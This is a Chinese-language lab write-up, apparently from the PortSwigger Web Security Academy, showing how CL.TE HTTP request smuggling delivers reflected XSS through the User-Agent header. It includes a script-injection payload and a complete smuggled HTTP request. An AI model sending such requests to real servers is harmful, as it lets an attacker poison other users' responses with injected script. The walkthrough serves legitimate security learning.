> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md).

# 利用 HTTP 走私传递反射型 XSS

### 利用 HTTP 请求走私传递反射型 XSS

实验室正在搭建前端服务器和后端服务器。/ 前端 **不支持分块编码**，这为以下攻击铺平了道路： **HTTP 请求走私**.

该应用程序还存在以下漏洞： **通过 User-Agent 请求头反射的 XSS**.

目标是 **将一个走私的** 请求发往后端，以便 **下一个受害用户的请求收到的响应中包含正在运行的 XSS 载荷 `alert(1)`**.

实验室会定期为以下内容生成请求：

### User-Agent 中的 XSS 漏洞

该 `userAgent` 表单中的该字段会直接在响应中重用，从而允许注入：

<figure><img src="/files/c91ac6ddf5979cca2635614bb2bd25e1c960126b" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

此载荷被接受并解析，确认存在 XSS 漏洞。

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/42be0910c2b934096fc6952353e09bd8c038070e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/741e02222583c9f3c8266c4bd024d95a78e505d5" alt=""><figcaption></figcaption></figure>

### **攻击目标**

思路是利用走私来确保：

1. 前端根据以下内容读取请求： **Content-Length**.
2. 后端根据以下内容读取： **Transfer-Encoding: chunked**.
3. 被走私的请求会修改受害用户的下一次请求。
4. 然后服务器会返回一个在 User-Agent 请求头中包含我们 XSS 载荷的响应。

### **走私的应用程序请求**

你提出一个包含空主体的 POST 请求（`0/r/n/r/n`）以结束分块部分，然后是发往后端的请求

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

这第二个请求（走私的）将被后端解释为下一次请求——也就是受害用户的请求——的一部分，从而使 XSS 载荷被注入到它将收到的响应中。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/exploiting-http-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
